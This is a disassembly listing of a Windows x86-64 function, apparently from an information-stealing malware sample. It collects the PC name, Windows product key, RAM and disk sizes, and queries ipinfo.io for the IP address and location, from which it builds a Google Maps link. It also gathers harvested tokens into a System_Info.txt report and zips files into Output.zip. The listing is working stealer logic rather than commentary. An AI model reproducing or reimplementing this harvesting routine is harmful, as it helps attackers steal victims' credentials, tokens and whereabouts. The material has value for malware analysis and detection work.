Function at 0x14000ae60
Capabilities:
Get disk information
Get disk size
Get geographical location
Get memory capacity

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x758]
sub rsp, 0x830
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14023c8a0]
xor rax, rsp
mov qword [rbp + 0x700], rax
xor r12d, r12d
mov dword [rbp - 0x50], r12d
mov rsi, qword [0x14023d918]
movabs r13, 0x7fffffffffffffff
cmp rsi, r13
je 0x14000c1d7
lea r15, [0x14023d908]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r15, qword [0x14023d908]
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
lea r14, [rsi + 1]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp - 0x70]
lea ecx, [rbx + 7]
lea rax, [rbx - 0x10]
cmp r14, rbx
jbe 0x14000af6a
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
jbe 0x14000af0d
mov rbx, r13
jmp 0x14000af14
cmp rbx, rcx
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x14000af54
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000c1dd
mov rcx, rax
call fcn.1400b1f80
test rax, rax
je 0x14000c1e3
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000af66
test rcx, rcx
je 0x14000af63
call fcn.1400b1f80
mov rdi, rax
jmp 0x14000af66
mov rdi, r12
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call fcn.1400b4460
mov byte [rdi + rsi], 0x5c
mov byte [rdi + r14], r12b
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.System_Info.txt
lea rcx, [rbp - 0x70]
call fcn.140012830
mov qword [rbp + 0x118], r12
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x128], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov edi, 0x3000
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x14000b014
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b00f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c1e9
call fcn.1400b1cb0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], 0
lea rbx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rbx, qword [rbp + 0x118]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1c0]
call fcn.1400b4b10
mov rdx, rbx
lea rcx, [rbp + 0x1c0]
call fcn.14000de00
nop
mov qword [rbp + 0xf8], r12
mov qword [rbp + 0x108], r12
mov qword [rbp + 0x110], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xf8], 0
mov qword [rbp + 0xd8], r12
mov qword [rbp + 0xe8], r12
mov qword [rbp + reloc.WS2_32.dll_ntohs0], 0xf
mov byte [rbp + 0xd8], 0
lea r8, [rbp + 0xd8]
lea rdx, [rbp + 0xf8]
call fcn.14000abe0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
mov qword [rbp + 0x60], r12
mov dword [rbp + 0x140], 0x40
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rbp + 0x148]
xorps xmm6, xmm6
test rcx, rcx
js 0x14000b0eb
cvtsi2sd xmm6, rcx
jmp 0x14000b100
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm6, rax
addsd xmm6, xmm6
movsd xmm7, qword [0x140213f08]
mulsd xmm6, xmm7
lea rdx, [rbp + 0x410]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x14000b1de
lea rbx, [rbp + 0x410]
cmp word [rbp + 0x410], 0
je 0x14000b1de
nop dword [rax + rax]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x14000b1ba
lea r9, [rbp - 0x10]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x14000b1ba
mov rcx, qword [rbp - 0x40]
xorps xmm0, xmm0
test rcx, rcx
js 0x14000b17a
cvtsi2sd xmm0, rcx
jmp 0x14000b18f
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm7
movsd qword [rbp - 0x50], xmm0
mov rdx, qword [rbp + 0x58]
cmp rdx, qword [rbp + 0x60]
je 0x14000b1ad
movsd qword [rdx], xmm0
add qword [rbp + 0x58], 8
jmp 0x14000b1ba
lea r8, [rbp - 0x50]
lea rcx, [rbp + 0x50]
call fcn.140015550
mov rax, 0xffffffffffffffff
lea rax, [rax + 1]
cmp word [rbx + rax*2], 0
jne 0x14000b1c1
lea rbx, [rbx + rax*2]
add rbx, 2
cmp word [rbx], 0
jne 0x14000b140
lea rdx, str.PC:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
lea rdx, [0x14023d8e8]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rdx, qword [0x14023d8e8]
mov r8, qword [0x14023d8f8]
mov rcx, rax
call fcn.14001e650
mov rcx, rax
lea rdx, [0x1402041e8]
call fcn.140015b00
lea rdx, str.Windows_Key:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae rdx, qword [rbp + 0xf8]
mov r8, qword [rbp + 0x108]
mov rcx, rax
call fcn.14001e650
mov rcx, rax
mov dl, 0xa
call fcn.140015250
lea rdx, str.Product:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
lea rdx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0x10
cmovae rdx, qword [rbp + 0xd8]
mov r8, qword [rbp + 0xe8]
mov rcx, rax
call fcn.14001e650
mov rcx, rax
mov dl, 0xa
call fcn.140015250
lea rdx, str.Ram:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
movaps xmm1, xmm6
mov rcx, rax
call fcn.14000e290
mov rcx, rax
lea rdx, [0x1402041e8]
call fcn.140015b00
mov ebx, r12d
mov rax, qword [rbp + 0x58]
sub rax, qword [rbp + 0x50]
sar rax, 3
test rax, rax
je 0x14000b356
mov rsi, r12
lea rdx, str.Disk
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
mov edx, ebx
mov rcx, rax
call fcn.14000e6f0
mov rcx, rax
lea rdx, [0x140204220]
call fcn.140015b00
mov rcx, qword [rbp + 0x50]
movsd xmm1, qword [rcx + rsi]
mov rcx, rax
call fcn.14000e290
mov rcx, rax
lea rdx, [0x14020421c]
call fcn.140015b00
inc ebx
lea rsi, [rsi + 8]
mov rcx, qword [rbp + 0x58]
sub rcx, qword [rbp + 0x50]
sar rcx, 3
movsxd rax, ebx
cmp rax, rcx
jb 0x14000b2f0
lea rdx, [0x1402041e8]
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x2d0]
call fcn.1400b4b10
mov qword [rbp - 0x10], r12
movdqa xmm0, xmmword [0x1402140c0]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov r8d, socket
lea rdx, str.https:__ipinfo.io_json
lea rcx, [rbp - 0x10]
call fcn.140004530
nop
lea rax, [rbp - 0x10]
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x10]
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x140]
call fcn.14000fba0
lea rax, vtable.cpr::Url.0
mov qword [rbp + 0x140], rax
xor edx, edx
mov r8d, 0x2e8
lea rcx, [rbp + 0x410]
call fcn.1400b4b10
lea rcx, [rbp + 0x410]
call fcn.1400298b0
nop
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x410]
call fcn.14002a7d0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x410]
call fcn.14002a220
bts edi, 0xe
lea rcx, [rbp + 0x410]
call fcn.140017250
nop
lea rcx, [rbp + 0x148]
call fcn.140012660
nop
lea r9, [fcn.1400102c0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rbp - 0x10]
call fcn.1400b1fc0
mov qword [rbp - 0x80], r12
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0xc8]
call fcn.140015e10
nop
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov r8d, 2
lea rdx, [0x140204248]
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xc8]
call fcn.140018cb0
nop
mov qword [rbp - 0x30], r12
movdqa xmm0, xmmword [0x1402140c0]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
bts edi, 0x12
mov dword [rbp - 0x50], edi
cmp byte [rax], 3
jne 0x14000c1ef
mov rdx, qword [rax + 8]
lea rax, [rbp - 0x30]
cmp rax, rdx
je 0x14000b4f2
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14000b4e9
mov rdx, qword [rdx]
lea rcx, [rbp - 0x30]
call fcn.140004530
btr edi, 0x12
or edi, 0x30000
mov dword [rbp - 0x50], edi
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov r8d, 4
lea rdx, str.city
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xc8]
call fcn.140018cb0
lea rdx, [rbp + 0x10]
mov rcx, rax
call fcn.140015a60
nop
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov r8d, 7
lea rdx, str.country
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xc8]
call fcn.140018cb0
lea rdx, [rbp + 0x68]
mov rcx, rax
call fcn.140015a60
nop
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov r8d, 6
lea rdx, str.region
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xc8]
call fcn.140018cb0
lea rdx, [rbp + 0xa8]
mov rcx, rax
call fcn.140015a60
nop
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov r8d, 3
lea rdx, [0x140204268]
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xc8]
call fcn.140018cb0
lea rdx, [rbp + 0x88]
mov rcx, rax
call fcn.140015a60
nop
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov r8d, 3
lea rdx, [0x14020426c]
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xc8]
call fcn.140018cb0
lea rdx, [rbp + 0x30]
mov rcx, rax
call fcn.140015a60
nop
lea rax, [rbp - 0x30]
mov r15, qword [rbp - 0x30]
mov r12, qword [rbp - 0x18]
mov rbx, qword [rbp - 0x20]
cmp r12, 0x10
jb 0x14000b677
mov rcx, r15
lea r14, [r15 + rbx]
lea rsi, [r15 + rbx]
jmp 0x14000b686
lea rsi, [rax + rbx]
lea r14, [rbp - 0x30]
add r14, rbx
lea rcx, [rbp - 0x30]
mov r8, r14
sub r8, rcx
mov edx, 0x22
call fcn.1400b42e0
mov rdx, r14
test rax, rax
cmovne rdx, rax
cmp rdx, r14
je 0x14000b6d1
lea rax, [rdx + 1]
cmp rax, r14
je 0x14000b6d1
nop
movzx ecx, byte [rax]
cmp cl, 0x22
je 0x14000b6bd
mov byte [rdx], cl
inc rdx
inc rax
cmp rax, r14
jne 0x14000b6b0
mov r12, qword [rbp - 0x18]
mov rbx, qword [rbp - 0x20]
mov r15, qword [rbp - 0x30]
lea rax, [rbp - 0x30]
sub rsi, rdx
cmp r12, 0x10
jb 0x14000b6e3
sub rdx, r15
jmp 0x14000b6ea
sub rdx, rax
lea r15, [rbp - 0x30]
mov rax, rbx
sub rax, rdx
cmp rax, rsi
cmovb rsi, rax
lea rcx, [r15 + rdx]
sub rbx, rsi
mov qword [rbp - 0x20], rbx
sub rbx, rdx
lea r8, [rbx + 1]
lea rdx, [rcx + rsi]
call fcn.1400b4460
lea rcx, [rbp + 0x10]
mov rax, qword [rbp + 0x20]
cmp qword [rbp + 0x28], 0x10
jb 0x14000b72f
mov rcx, qword [rbp + 0x10]
lea rbx, [rcx + rax]
lea rsi, [rcx + rax]
jmp 0x14000b73e
lea rsi, [rcx + rax]
lea rbx, [rbp + 0x10]
add rbx, rax
lea rcx, [rbp + 0x10]
mov r8, rbx
sub r8, rcx
mov edx, 0x22
call fcn.1400b42e0
mov r8, rbx
test rax, rax
cmovne r8, rax
cmp r8, rbx
je 0x14000b77c
lea rax, [r8 + 1]
cmp rax, rbx
je 0x14000b77c
movzx ecx, byte [rax]
cmp cl, 0x22
je 0x14000b774
mov byte [r8], cl
inc r8
inc rax
cmp rax, rbx
jne 0x14000b766
mov r9, rsi
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x10]
call fcn.140010210
lea rcx, [rbp + 0x68]
mov rax, qword [rbp + 0x78]
cmp qword [rbp + 0x80], 0x10
jb 0x14000b7ac
mov rcx, qword [rbp + 0x68]
lea rbx, [rcx + rax]
lea rsi, [rcx + rax]
jmp 0x14000b7bb
lea rsi, [rax + rcx]
lea rbx, [rbp + 0x68]
add rbx, rax
lea rcx, [rbp + 0x68]
mov r8, rbx
sub r8, rcx
mov edx, 0x22
call fcn.1400b42e0
mov r8, rbx
test rax, rax
cmovne r8, rax
cmp r8, rbx
je 0x14000b7f9
lea rax, [r8 + 1]
cmp rax, rbx
je 0x14000b7f9
movzx ecx, byte [rax]
cmp cl, 0x22
je 0x14000b7f1
mov byte [r8], cl
inc r8
inc rax
cmp rax, rbx
jne 0x14000b7e3
mov r9, rsi
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x68]
call fcn.140010210
lea rcx, [rbp + 0xa8]
mov rax, qword [rbp + 0xb8]
cmp qword [rbp + 0xc0], 0x10
jb 0x14000b832
mov rcx, qword [rbp + 0xa8]
lea rbx, [rcx + rax]
lea rsi, [rcx + rax]
jmp 0x14000b847
lea rsi, [rax + rcx]
lea rbx, [rbp + 0xa8]
add rbx, rax
lea rcx, [rbp + 0xa8]
mov r8, rbx
sub r8, rcx
mov edx, 0x22
call fcn.1400b42e0
mov r8, rbx
test rax, rax
cmovne r8, rax
cmp r8, rbx
je 0x14000b886
lea rax, [r8 + 1]
cmp rax, rbx
je 0x14000b886
nop
movzx ecx, byte [rax]
cmp cl, 0x22
je 0x14000b87e
mov byte [r8], cl
inc r8
inc rax
cmp rax, rbx
jne 0x14000b870
mov r9, rsi
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xa8]
call fcn.140010210
lea rcx, [rbp + 0x88]
mov rax, qword [rbp + 0x98]
cmp qword [rbp + 0xa0], 0x10
jb 0x14000b8c2
mov rcx, qword [rbp + 0x88]
lea rbx, [rcx + rax]
lea rsi, [rcx + rax]
jmp 0x14000b8d7
lea rsi, [rax + rcx]
lea rbx, [rbp + 0x88]
add rbx, rax
lea rcx, [rbp + 0x88]
mov r8, rbx
sub r8, rcx
mov edx, 0x22
call fcn.1400b42e0
mov r8, rbx
test rax, rax
cmovne r8, rax
cmp r8, rbx
je 0x14000b916
lea rax, [r8 + 1]
cmp rax, rbx
je 0x14000b916
nop
movzx ecx, byte [rax]
cmp cl, 0x22
je 0x14000b90e
mov byte [r8], cl
inc r8
inc rax
cmp rax, rbx
jne 0x14000b900
mov r9, rsi
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x88]
call fcn.140010210
lea rcx, [rbp + 0x30]
mov rax, qword [rbp + 0x40]
cmp qword [rbp + 0x48], 0x10
jb 0x14000b946
mov rcx, qword [rbp + 0x30]
lea rbx, [rcx + rax]
lea rsi, [rcx + rax]
jmp 0x14000b955
lea rsi, [rax + rcx]
lea rbx, [rbp + 0x30]
add rbx, rax
lea rcx, [rbp + 0x30]
mov r8, rbx
sub r8, rcx
mov edx, 0x22
call fcn.1400b42e0
mov r8, rbx
test rax, rax
cmovne r8, rax
cmp r8, rbx
je 0x14000b996
lea rax, [r8 + 1]
cmp rax, rbx
je 0x14000b996
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, 0x22
je 0x14000b98e
mov byte [r8], cl
inc r8
inc rax
cmp rax, rbx
jne 0x14000b980
mov r9, rsi
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x30]
call fcn.140010210
cmp qword [rbp - 0x20], 0
jne 0x14000b9e4
xor esi, esi
mov qword [rbp - 0x70], rsi
movdqa xmm0, xmmword [0x1402140c0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], sil
lea r8d, [rsi + 3]
lea rdx, [0x1402041d0]
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rbx, [rbp - 0x70]
or edi, 1
mov dword [rbp - 0x50], edi
jmp 0x14000ba05
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x10]
call fcn.140010320
mov rbx, rax
or edi, 2
mov dword [rbp - 0x50], edi
lea rax, [rbp - 0x30]
xor esi, esi
cmp rax, rbx
je 0x14000ba30
lea rcx, [rbp - 0x30]
call fcn.140012660
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
nop dword [rax]
test dil, 2
je 0x14000ba46
and edi, 0xfffffffd
mov dword [rbp - 0x50], edi
lea rcx, [rbp - 0x10]
call fcn.140012660
nop
test dil, 1
je 0x14000ba5b
and edi, 0xfffffffe
mov dword [rbp - 0x50], edi
lea rcx, [rbp - 0x70]
call fcn.140012660
cmp qword [rbp + 0x20], 0
jne 0x14000ba99
mov qword [rbp - 0x70], rsi
movdqa xmm0, xmmword [0x1402140c0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov r8d, 3
lea rdx, [0x1402041d0]
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rbx, [rbp - 0x70]
or edi, 4
mov dword [rbp - 0x50], edi
jmp 0x14000bab8
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x10]
call fcn.140010320
mov rbx, rax
or edi, 8
mov dword [rbp - 0x50], edi
lea rax, [rbp + 0x10]
cmp rax, rbx
je 0x14000bae0
lea rcx, [rbp + 0x10]
call fcn.140012660
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
nop
test dil, 8
je 0x14000baf6
and edi, 0xfffffff7
mov dword [rbp - 0x50], edi
lea rcx, [rbp - 0x10]
call fcn.140012660
nop
test dil, 4
je 0x14000bb0b
and edi, 0xfffffffb
mov dword [rbp - 0x50], edi
lea rcx, [rbp - 0x70]
call fcn.140012660
cmp qword [rbp + 0x78], 0
jne 0x14000bb46
mov qword [rbp - 0x70], rsi
movdqa xmm0, xmmword [0x1402140c0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov r8d, 3
lea rdx, [0x1402041d0]
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rax, [rbp - 0x70]
or edi, 0x10
jmp 0x14000bb56
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x10]
call fcn.140010320
or edi, 0x20
mov dword [rbp - 0x50], edi
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.1400102d0
test dil, 0x20
je 0x14000bb7b
and edi, 0xffffffdf
mov dword [rbp - 0x50], edi
lea rcx, [rbp - 0x10]
call fcn.140012660
nop
test dil, 0x10
je 0x14000bb90
and edi, 0xffffffef
mov dword [rbp - 0x50], edi
lea rcx, [rbp - 0x70]
call fcn.140012660
cmp qword [rbp + 0xb8], 0
jne 0x14000bbce
mov qword [rbp - 0x70], rsi
movdqa xmm0, xmmword [0x1402140c0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov r8d, 3
lea rdx, [0x1402041d0]
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rax, [rbp - 0x70]
or edi, 0x40
jmp 0x14000bbe2
lea rdx, [rbp + 0xa8]
lea rcx, [rbp - 0x10]
call fcn.140010320
bts edi, 7
mov dword [rbp - 0x50], edi
mov rdx, rax
lea rcx, [rbp + 0xa8]
call fcn.1400102d0
test dil, dil
jns 0x14000bc0a
btr edi, 7
mov dword [rbp - 0x50], edi
lea rcx, [rbp - 0x10]
call fcn.140012660
nop
test dil, 0x40
je 0x14000bc1f
and edi, 0xffffffbf
mov dword [rbp - 0x50], edi
lea rcx, [rbp - 0x70]
call fcn.140012660
cmp qword [rbp + 0x98], 0
jne 0x14000bc5e
mov qword [rbp - 0x70], rsi
movdqa xmm0, xmmword [0x1402140c0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov r8d, 3
lea rdx, [0x1402041d0]
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rax, [rbp - 0x70]
bts edi, 8
jmp 0x14000bc72
lea rdx, [rbp + 0x88]
lea rcx, [rbp - 0x10]
call fcn.140010320
bts edi, 9
mov dword [rbp - 0x50], edi
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.1400102d0
bt edi, 9
jae 0x14000bc9b
btr edi, 9
mov dword [rbp - 0x50], edi
lea rcx, [rbp - 0x10]
call fcn.140012660
nop
bt edi, 8
jae 0x14000bcb1
btr edi, 8
mov dword [rbp - 0x50], edi
lea rcx, [rbp - 0x70]
call fcn.140012660
cmp qword [rbp + 0x40], 0
jne 0x14000bced
mov qword [rbp - 0x70], rsi
movdqa xmm0, xmmword [0x1402140c0]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov r8d, 3
lea rdx, [0x1402041d0]
lea rcx, [rbp - 0x70]
call fcn.140004530
lea rax, [rbp - 0x70]
bts edi, 0xa
jmp 0x14000bcfe
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x10]
call fcn.140010320
bts edi, 0xb
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.1400102d0
bt edi, 0xb
jae 0x14000bd1e
btr edi, 0xb
lea rcx, [rbp - 0x10]
call fcn.140012660
nop
bt edi, 0xa
jae 0x14000bd2d
lea rcx, [rbp - 0x70]
call fcn.140012660
mov rcx, qword [rbp + 0x40]
sub r13, rcx
cmp r13, 0x2f
jb 0x14000c1d1
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rax, qword [rbp + 0x30]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x2f
lea r9, str.https:__www.google.com_maps_search_googlemap
lea r8, [rbp + 0x30]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1a0]
call fcn.140019150
nop
lea rdx, str.ip:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
mov rcx, rax
call fcn.14001e650
mov rcx, rax
mov dl, 0xa
call fcn.140015250
lea rdx, str.city:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
mov rcx, rax
call fcn.14001e650
mov rcx, rax
mov dl, 0xa
call fcn.140015250
lea rdx, str.country:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0x10
cmovae rdx, qword [rbp + 0x68]
mov r8, qword [rbp + 0x78]
mov rcx, rax
call fcn.14001e650
mov rcx, rax
mov dl, 0xa
call fcn.140015250
lea rdx, str.region:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
mov rcx, rax
lea rdx, [rbp + 0xa8]
call fcn.140015df0
mov rcx, rax
mov dl, 0xa
call fcn.140015250
lea rdx, str.org:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
mov rcx, rax
lea rdx, [rbp + 0x88]
call fcn.140015df0
mov rcx, rax
mov dl, 0xa
call fcn.140015250
lea rdx, str.loc:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
mov rcx, rax
lea rdx, [rbp + 0x30]
call fcn.140015df0
mov rcx, rax
mov dl, 0xa
call fcn.140015250
lea rdx, str.googleMap:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
mov rcx, rax
lea rdx, [rbp + 0x1a0]
call fcn.140015df0
mov rcx, rax
lea rdx, [0x140204190]
call fcn.140015b00
call fcn.140009460
lea rdx, str.Tokens:
lea rcx, [rbp + 0x1c0]
call fcn.140015b00
lea rcx, [rbp + 0x1c0]
cmp qword [0x140246e38], 0
jne 0x14000bf0d
lea rdx, str.No_tokens_found_n
call fcn.140015b00
jmp 0x14000bf64
lea rdx, [0x1402041e8]
call fcn.140015b00
mov rcx, qword [0x140246e30]
mov rax, qword [rcx]
mov qword [rbp - 0x40], rax
cmp rax, rcx
je 0x14000bf64
nop dword [rax]
lea rdx, [rax + 0x20]
lea rcx, [rbp + 0x1c0]
call fcn.140015df0
mov rcx, rax
mov dl, 0xa
call fcn.140015250
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x40]
call fcn.14000ca40
mov rax, qword [rbp - 0x40]
cmp rax, qword [0x140246e30]
jne 0x14000bf30
lea rcx, [rbp + 0x1c0]
call fcn.14000dd60
lea r8, [0x140204318]
lea rdx, [0x14023d908]
lea rcx, [rbp + 0x180]
call fcn.140014c60
nop
lea rcx, [rbp + 0x180]
call fcn.140010200
xor edx, edx
mov rcx, rax
call fcn.1400313b0
mov r14, rax
lea rdx, [0x14023d908]
lea rcx, [rbp - 0x70]
call fcn.140014e80
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.140003ef0
nop
lea rcx, [rbp - 0x70]
call fcn.1400124c0
lea rcx, [rbp - 0x10]
call fcn.140004250
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x70]
call fcn.14000c4c0
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140004140
nop
lea rcx, [rbp - 0x40]
call fcn.140004250
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x70]
call fcn.14000c4c0
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1400041d0
nop
mov rax, qword [rbp - 0x10]
mov rsi, qword [rbp - 0x40]
cmp rax, rsi
je 0x14000c0bc
nop dword [rax]
nop word [rax + rax]
lea rdi, [rax + 0x20]
lea rdx, [rbp + 0x140]
mov rcx, rdi
call fcn.140003250
nop
lea rdx, [rsp + 0x48]
mov rcx, rax
call fcn.140003160
lea rdx, str.Output.zip
mov rcx, rax
call fcn.140014e30
movzx ebx, al
lea rcx, [rsp + 0x48]
call fcn.140012660
nop
lea rcx, [rbp + 0x140]
call fcn.1400124c0
test bl, bl
jne 0x14000c0a6
lea rdx, [rbp + 0x140]
mov rcx, rdi
call fcn.140003160
nop
mov rdx, r14
mov rcx, rax
call fcn.1400ec160
nop
lea rcx, [rbp + 0x140]
call fcn.140012660
lea rcx, [rbp - 0x10]
call fcn.140004030
mov rax, qword [rbp - 0x10]
cmp rax, rsi
jne 0x14000c030
lea rcx, [rbp - 0x40]
call fcn.140004170
nop
lea rcx, [rbp - 0x10]
call fcn.140004170
nop
lea rcx, [rbp - 0x50]
call fcn.140004170
xor edx, edx
mov rcx, r14
call fcn.140030aa0
nop
lea rcx, [rbp + 0x180]
call fcn.140012660
nop
lea rcx, [rbp + 0x1a0]
call fcn.140012660
nop
lea rcx, [rbp + 0x30]
call fcn.140012660
nop
lea rcx, [rbp + 0x88]
call fcn.140012660
nop
lea rcx, [rbp + 0xa8]
call fcn.140012660
nop
lea rcx, [rbp + 0x68]
call fcn.140012660
nop
lea rcx, [rbp + 0x10]
call fcn.140012660
nop
lea rcx, [rbp - 0x30]
call fcn.140012660
nop
